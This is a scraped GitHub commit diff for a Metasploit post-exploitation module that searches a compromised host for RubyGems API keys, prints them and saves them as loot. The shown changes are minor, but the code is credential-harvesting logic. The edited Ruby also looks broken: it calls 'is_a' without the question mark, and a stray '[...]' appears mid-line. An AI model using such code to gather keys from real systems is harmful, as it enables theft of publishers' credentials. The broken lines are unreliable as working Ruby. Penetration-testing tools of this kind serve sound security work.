Skip to content

Commit 2bb9314

Browse files
author
Jonathan Claudius
committed
Switch to unless conditional
1 parent 1f9286d commit 2bb9314

File tree

1 file changed

+4
-4
lines changed

1 file changed

+4
-4
lines changed

modules/post/multi/gather/rubygems_api_key.rb

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -44,10 +44,10 @@ def download_loot(paths)
4444
path.chomp!
4545
next if [".", ".."].include?(path)
4646

47-
rubygems_api_key = YAML.load(read_file(path))[:rubygems_api_key]
48-
next if rubygems_api_key.nil?
47+
rubygems_api_key = YAML.load(read_file(path))[:rubygems_api_key] [...]
48+
next unless rubygems_api_key.is_a(::String)
4949

50-
print_good("Found a RubyGems API Key: #{rubygems_api_key}")
50+
print_good("Found a RubyGems API key #{rubygems_api_key}")
5151

5252
loot_path = store_loot("host.rubygems.apikey",
5353
"text/plain",
@@ -56,7 +56,7 @@ def download_loot(paths)
5656
"ruby_api_key.txt",
5757
"Ruby API Key")
5858

59-
print_good("RubyGems API Key stored in: #{loot_path.to_s}")
59+
print_good("RubyGems API key stored in #{loot_path.to_s}")
6060
end
6161
end
6262

0 commit comments

Comments
 (0)